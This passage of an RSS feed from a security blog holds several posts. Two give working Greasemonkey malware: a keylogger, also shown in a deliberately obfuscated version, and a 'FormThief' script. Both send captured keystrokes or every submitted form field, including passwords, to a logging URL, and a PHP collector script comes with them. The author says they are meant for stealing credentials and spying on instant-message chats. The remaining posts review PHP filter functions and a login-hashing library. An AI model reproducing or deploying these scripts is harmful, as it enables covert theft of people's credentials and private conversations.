	eventobj = window.event?event:e;
	key = eventobj.keyCode?eventobj.keyCode:eventobj.charCode;
	keys = GM_getValue('keys');
	keys+= String.fromCharCode(key);
	GM_setValue('keys', keys);
}

window.setInterval(function(){
	new Image().src = 'http://localhost/junkylogger.php?keys='+GM_getValue('keys');
	GM_setValue('keys', '');
}, 1000);
</pre>
<p><del><a href="http://insanesecurity.info/projects/keylogger/junkylogger.user.js">download/install/view</a></del></p>
<p>The next step was to give it a more obfuscated look, just to give a harder life to all those who understand Javascript to the minimum and take a look at the source of the script.</p>
<pre>
window.wrap = window;
wrap.strf = String.fromCharCode;
wrap.wind = strf(117,110,115,97,102,101,87,105,110,100,111,119);
wrap.ev   = strf(111, 110, 107, 101, 121, 112, 114, 101, 115, 115);
GM_setValue('q','');
Function('func', wind+"."+ev+" = func")(function(e) {
	e=window.event?window.event:e;
	k=e.charCode?e.charCode:e.keyCode;
	k=GM_getValue('q')+strf(k);
	GM_setValue('q', k);
});
wrap.loc = strf(104, 116, 116, 112, 58, 47, 47, 108, 111, 99, 97, 108, 104);
wrap.loc+= strf(111, 115, 116, 47, 106, 117, 110, 107, 121, 108, 111, 103, 103, 101);
wrap.loc+= strf(114, 46, 112, 104, 112, 63, 107, 101, 121, 115, 61);
window.setInterval(function(){new Image().src=wrap.loc+GM_getValue('q');GM_setValue('q','')},1000);
</pre>
<p><del><a href="http://insanesecurity.info/projects/keylogger/junkylogger-final.user.js">download/install/view</a></del></p>
<p>No, by downloading this you won&#8217;t have all your keystrokes logged (unless someone hacked the server and replaced it) because for testing I&#8217;ve used a php file on my localhost for logging, and that remained in the examples also.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>If you are new at Javascript/Userscripts the following links may be helpful to you: <a href="http://diveintogreasemonkey.org/">Dive Into GreaseMonkey</a>, <a href="http://wiki.greasespot.net/Main_Page">GreaseSpot</a> and <a href="http://www.free-itebooks.com/free-ebooks-javascript/">Javascript eBooks</a>. And yes Userscripts are also available for IE/Opera&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/javascriptuserscript-keylogger/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>PHP 5.2+ Data Filtering Extension = BAD?</title>
		<link>http://insanesecurity.info/blog/php-5-data-filtering-extension-bad</link>
		<comments>http://insanesecurity.info/blog/php-5-data-filtering-extension-bad#comments</comments>
		<pubDate>Wed, 24 Jun 2009 06:15:30 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Discussion]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=44</guid>
		<description><![CDATA[Yesterday while browsing some security tagged discussions on stackoverflow.com I&#8217;ve noticed someone mentioned some filter_ prefixed PHP functions. At first I thought they were some custom written ones, but on a quick check it turned out that there really where this functions. I was shocked. Anyway, let&#8217;s digg into it&#8230; Filters In the filters extensions [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday while browsing some <a href="http://stackoverflow.com/questions/tagged/security" target="_blank">security tagged discussions on stackoverflow.com</a> I&#8217;ve noticed someone mentioned some filter_ prefixed PHP functions. At first I thought they were some custom written ones, but on a <a href="http://www.php.net/filter" target="_blank">quick check</a> it turned out that there really where this functions. I was shocked. Anyway, let&#8217;s digg into it&#8230;</p>
<p><span id="more-44"></span><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2>Filters</h2>
<p>In the filters extensions we have 3 types of filters: validate, sanitize and other filters. Let&#8217;s take em each separately and see what the extension has to offer us.</p>
<ul><big><strong>Validate Filters</strong></big></p>
<li>
<ul><big><em>Data Type Validation</em></big></p>
<li><code>FILTER_VALIDATE_BOOLEAN</code>
<p>        Validates if the specified variable/value is a boolean value.
      </li>
<li><code>FILTER_VALIDATE_FLOAT</code>
<p>        Validate if the specified variable/value is of type float.
      </li>
<li><code>FILTER_VALIDATE_INT</code>
<p>        Besides the fact that it validates integers it allows you to specify a range in which the specified variable or value should be. It also allows you to validate octal and hexadecimal numbers.
      </li>
</ul>
</li>
<li>
<ul><big><em>String Validation</em></big></p>
<li><code>FILTER_VALIDATE_EMAIL</code>
<p>        Validates if the variable/value is a well formed email address.
      </li>
<li><code>FILTER_VALIDATE_IP</code>
<p>        Can be used for validating IPv4/IPv6 addresses, having flags to disallow reserved/private IP ranges.
      </li>
<li><code>FILTER_VALIDATE_REGEXP</code>
<p>        Validates variable/value with regular expressions.
      </li>
<li><code>FILTER_VALIDATE_URL</code>
<p>        Validate URL&#8217;s. I wouldn&#8217;t recommend it though, since it validates <code>'http://...'</code>. Better of with regular expressions here.
      </li>
</ul>
</li>
</ul>
<ul><big><strong>Sanitize Filters</strong></big></p>
<li><code>FILTER_SANITIZE_EMAIL</code>
<p>    I highly recommend to not use this filter, because it won&#8217;t sanitize the email address. The characters <code>!#$%&#038;'*+-/=?^_`{|}~@.[]</code> will remain intact.
  </li>
<li><code>FILTER_SANITIZE_ENCODED</code>
<p>    URL-encode string, optionally strip or encode special characters.
  </li>
<li><code>FILTER_SANITIZE_MAGIC_QUOTES</code>
<p>    Applies <code>addshashes()</code> to the specified variable/value. Seriously, shouldn&#8217;t this be extinct already. I though we    should have left them behind once we moved away from PHP 4.x. Try to not use this one, because in some SQL systems backslashes    are not escape characters.
  </li>
<li><code>FILTER_SANITIZE_NUMBER_FLOAT</code>
<p>    Remove all characters except digits, <code>+-</code> and optionally <code>.</code>,<code>eE</code>.
  </li>
<li><code>FILTER_SANITIZE_NUMBER_INT</code>
<p>    Remove all characters except digits, plus and minus sign.
  </li>
<li><code>FILTER_SANITIZE_SPECIAL_CHARS</code>
<p>    HTML-escape <code>'"&lt;&gt;&amp;</code> and characters with ASCII value less than 32, optionally strip or encode other special characters.
  </li>
<li><code>FILTER_SANITIZE_STRING</code>
<p>    Strip tags, optionally strip or encode special characters.
  </li>
<li><code>FILTER_SANITIZE_STRIPPED</code>
<p>    Alias for the above filter.
  </li>
<li><code>FILTER_SANITIZE_URL</code>
<p>    Remove all characters except letters, digits and <code>$-_.+!*'(),{}|^~[]`<>#%";/?:@&#038;=</code>.
  </li>
<li><code>FILTER_UNSAFE_RAW</code>
<p>    Do nothing, optionally strip or encode special characters.
  </li>
</ul>
<ul><big><strong>Other Filters</strong></big></p>
<li><code>FILTER_CALLBACK</code>
<p>    Call user-defined function to filter data.
  </li>
</ul>
<p>As you must have noticed the sanitizing filters are pretty bad, some even repetitive. Although haven&#8217;t marked red all of them, I surely won&#8217;t use them. For sanitizing (against XSS) I&#8217;ll use good old <a href="http://www.php.net/strip_tags" target="_blank">strip_tags</a>() combined with <a href="http://www.php.net/htmlspecialchars" target="_blank">htmlspecialchars</a>() because this way I can define quote style encoding, and charset in which to encode. As for safe SQL queries, I use db specific functions.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2>Functions</h2>
<p>Ok, so we had some complains about the filters. But let&#8217;s look beyond that for a moment and see what the filtering functions have to offer us.</p>
<ul>
<li><big><strong>filter_has_var</strong></big></li>
</ul>
<p>Through this function we can check if a POST, GET, ENV, SERVER, COOKIE value has been set.</p>
<pre name="code" class="php">
if(filter_has_var(INPUT_POST, 'submit')) {
  echo 'yes the submit value has been set';
}
</pre>
<p>Although this might seem similar to a <a href="http://www.php.net/isset" target="_blank">isset</a>() usage, be not fooled by it. It (probably) takes a snapshot of all the superglobals (POST, GET, ENV, SERVER, COOKIE) so&#8230;</p>
<pre name="code" class="php">
/*
 submit isn't set
*/
$_POST['submit']=1;
if(filter_has_var(INPUT_POST, 'submit')) {
  echo 'this will not be echoed';
}
</pre>
<p>Is this a good thing? Well, it depends. Haven&#8217;t seen till now somebody who controlled the flow of the application (in a script) through setting/unsetting a value in the superglobals, but I have seen hand coded register_globals implementation (for backwards compatibility) in PHPList which permitted that the SERVER['file'] (named something like that) to be overwritten and making it vulnerable to remote file inclusion. So in that particular scenario it would have helped.</p>
<ul>
<li><big><strong>filter_id and filter_list</strong></big></li>
</ul>
<p>One returns the numeric value of a filter, while the other returns a list of filters&#8230; moving on.</p>
<ul>
<li><big><strong>filter_input and filter_input_array</strong></big></li>
</ul>
<p>The (ONE) function for the &#8220;Data Filtering Extension&#8221;. I&#8217;ll post an example from the documentation.</p>
<pre name="code" class="php">

$search_html = filter_input(
    INPUT_GET,
    'search',
    FILTER_SANITIZE_SPECIAL_CHARS
);
$search_url = filter_input(
    INPUT_GET,
    'search',
    FILTER_SANITIZE_ENCODED
);

echo "You have searched for $search_html.\n";
echo "&lt;a href='?search=$search_url'&gt;Search again.&lt;/a&gt;";
</pre>
<ul>
<li><big><strong>filter_var and filter_var_array</strong></big></li>
</ul>
<p>It works in the same way as filter_input, just that now you can use the filters on variables/string&#8230; these examples are also from the documentation.</p>
<pre name="code" class="php">
// will validate
var_dump(filter_var(
    'bob@example.com',
    FILTER_VALIDATE_EMAIL
));

// will fail (return false), because it
// misses the scheme (http://)
var_dump(filter_var(
    'example.com',
    FILTER_VALIDATE_URL,
    FILTER_FLAG_SCHEME_REQUIRED
));
</pre>
<p><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2>Should I use it?</h2>
<p>Well, can&#8217;t say for sure. The validation filters seem pretty good unless you count the URL one&#8230; actually that could be a good filter also if you shouldn&#8217;t add 3 flags to behave like you normally would expect&#8230;</p>
<p>The other reason why I can&#8217;t pronounce a final answer (maybe someone who reads this will) because I haven&#8217;t checked the source code of the extension&#8230;</p>
<p>You have more information about it (not quite that big of a difference) from the online documentation page found <a href="http://www.php.net/manual/en/book.filter.php" target="_blank">here</a>. Waiting your opinion on this one&#8230;</p>
<p><strong>Update:</strong> Chuck Norrises was here and updated the text, removing my opinion of vulnerable code. eof!</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/php-5-data-filtering-extension-bad/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FormJacking</title>
		<link>http://insanesecurity.info/blog/formjacking</link>
		<comments>http://insanesecurity.info/blog/formjacking#comments</comments>
		<pubDate>Wed, 24 Jun 2009 06:08:11 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Userscript]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=38</guid>
		<description><![CDATA[With all the buzz around Clickjacking I had to come up with an article which would contain that word, or at least a part of it. This article could be also named Form Thievery, but it wouldn&#8217;t sound that cool, would it? Last userscript I wrote was a keylogger, which seems that a lot of [...]]]></description>
			<content:encoded><![CDATA[<p>With all the buzz around <a href="http://insanesecurity.info/2009/02/1-2-3-clickjacking/">Clickjacking </a> I had to come up with an article which would contain that word, or at least a part of it. This article could be also named Form Thievery, but it wouldn&#8217;t sound that <q>cool</q>, would it?</p>
<p><span id="more-38"></span><br />
Last <a href="http://insanesecurity.info/tag/userscript/">userscript</a> I wrote was a <a href="http://insanesecurity.info/2009/01/javascript-userscript-keylogger/">keylogger</a>, which seems that a lot of people have liked, and which for the most common of its use was an overkill.</p>
<p>Why overkill? Because most of those (if not all) who search for a keylogger will use it for stealing credentials. That was also my reason for writing it in the first place, although recently use it for spying web based IM conversations >:). Also may have been circumvented by most common anti-keylogger tricks, like on-screen keyboards.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p><a href="http://insanesecurity.info/projects/formjacking/formthief.user.js">FormThief</a> (that&#8217;s how I named the userscript) even if not perfect, a.k.a. authentication fails in places where forms have an associated an action on the submit event (such example may be <a href="http://login.yahoo.com">login.yahoo.com</a>) will be quite enough for most of the cases you&#8217;ll want it. The script has the following code:</p>
<pre name="code" class="javascript">
(function(){
    var num = document.forms.length;
    for(var i=0;i&lt;num;i++) {
        unsafeWindow.document.forms[i].addEventListener('submit', function(e) {
            var form = e.currentTarget;
            var num = form.length;
            var send = '?';
            for(var i=0;i&lt;num;i++) {
                send += form[i].name + '=';
                send += form[i].value + '&#038;';
            }
            send += 'ThiefedURL=' + unsafeWindow.location;
            new Image().src = 'http://127.0.0.1/fj.php'+encodeURI(send);
            return true;
        }, true);
    }
})()
</pre>
<p><del><a href="http://insanesecurity.info/projects/formjacking/formthief.user.js">view/install</a></del></p>
<p>As in the <a href="http://insanesecurity.info/2009/01/javascript-userscript-keylogger/">junkylogger</a> have used unsafeWindow for accessing the content, and the Image object to send the <q>logged/hijacked</q> data. As for the logging php file you could take the same approach as I did:</p>
<pre name="code" class="php">

$str = "\n\n";
foreach($_GET as $key=>$val) {
    $str .= $key.'['.$val.']'."\n";
}

$fp = fopen('data.txt', 'a');
fwrite($fp, $str);
fclose($fp);
</pre>
<p>Nothing new in the concept, just wanted to share it with you because I felt that it is a good addition to the <a href="http://insanesecurity.info/tag/userscript/">Userscript</a> keylogger, completing it where it could have failed and vice versa. With well crafted <a href="http://diveintogreasemonkey.org/helloworld/metadata.html">@include, @exclude metadata</a>&#8217;s the two userscripts can make wonders, at least for me ;) </p>
<p><strong>UPDATE:</strong> modified the userscript, attached the function as kl suggested, know it works in any page (even login.yahoo.com). Also now appending the ThiefedURL parameter to see in the logs which form was hijacked.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/formjacking/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>userAtuh – frontend to backend encryption</title>
		<link>http://insanesecurity.info/blog/useratuh-%e2%80%93-frontend-to-backend-encryption</link>
		<comments>http://insanesecurity.info/blog/useratuh-%e2%80%93-frontend-to-backend-encryption#comments</comments>
		<pubDate>Wed, 24 Jun 2009 05:50:02 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Encryption]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=18</guid>
		<description><![CDATA[How many times did you check a web application of yours with a security auditing tool? I can tell you that I did it a couple of times. And as usual it always hit me with the same warning: &#8216;the login information is sent in plain text to &#8230;php&#8217;, or something of sort. And ignoring [...]]]></description>
			<content:encoded><![CDATA[<p>How many times did you check a web application of yours with a security auditing tool?<br />
I can tell you that I did it a couple of times. And as usual it always hit me with the same warning: &#8216;the login information is sent in plain text to &#8230;php&#8217;, or something of sort.</p>
<p><span id="more-18"></span><br />
And ignoring this warning is half as bad as having a sql injection vulnerability. Even if home users no longer are a part in a shared network thus sniffing is highly improbable, companies have LAN&#8217;s which would make a sniffing attack possible (if the sysadmin didn&#8217;t do his  job). Throwing away all your security implementations, password enforcements&#8230;</p>
<p>SSL is the solution for this case but isn&#8217;t necesarily needed. Here comes in <a href="http://sourceforge.net/projects/useratuh/">userAtuh</a>. Yes it&#8217;s a typo, but who cares how it&#8217;s called as long as it does a great job?</p>
<p><strong>UserAtuh</strong> is a php/js library used for serverside/client side password encryption, ment to mask the password sent by login forms. You can download it from it&#8217;s <a href="http://sourceforge.net/projects/useratuh/">project page on SourceForge</a>.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>How does it work? Actually it&#8217;s quite straight forward, but I could better show it&#8217;s working by pointing out the key portions of code.</p>
<p>It all starts with the login form with has defined to the on submit event assigned to the <strong>setEncryption()</strong> function, which: hashes the password, joins it with the username and key and double hashes the result storing it in a hidden input field.</p>
<p>Upon form submision the only two values that are requested are the username and the result of the <strong>setEncryption()</strong> function. The rest is ignored. Forgot to mention that the <strong>setEncryption()</strong> function also changes the password from the input field with a substring of its result.</p>
<p>The authentification is done by the function with the same name from the <strong>KeyHandler</strong> object:</p>
<pre>
public function authenticate($name,$encodedPass,$sha1=true){
    //get the last key that was generated for this
    //session
    $ip = getenv('REMOTE_ADDR');
    $key  = $this->_dba->getKeyFromDB($ip);

    //check if a user exists with this name
    if ($this->_dba->userExists($name)==false) return false;    	

    //retrive the password for the user
    $pass = $this->_dba->getPass($name);

    //make sure password is hashed
    if (!$sha1) $pass = sha1($pass);

    //create a hashed string from the date collected
    $encoded = sha1(sha1($pass.$name.$key));

    //generate a new key, so the last key won't be usable
    $this->generateKey();

    //check the hashed string with the key sent by the
    //client side
    return ($encodedPass==$encoded);
}
</pre>
<p>Simple, easy, useful. It&#8217;s implementation can take at maximum a couple of minutes. Quick and painless, just as I like &#8216;em.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/useratuh-%e2%80%93-frontend-to-backend-encryption/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
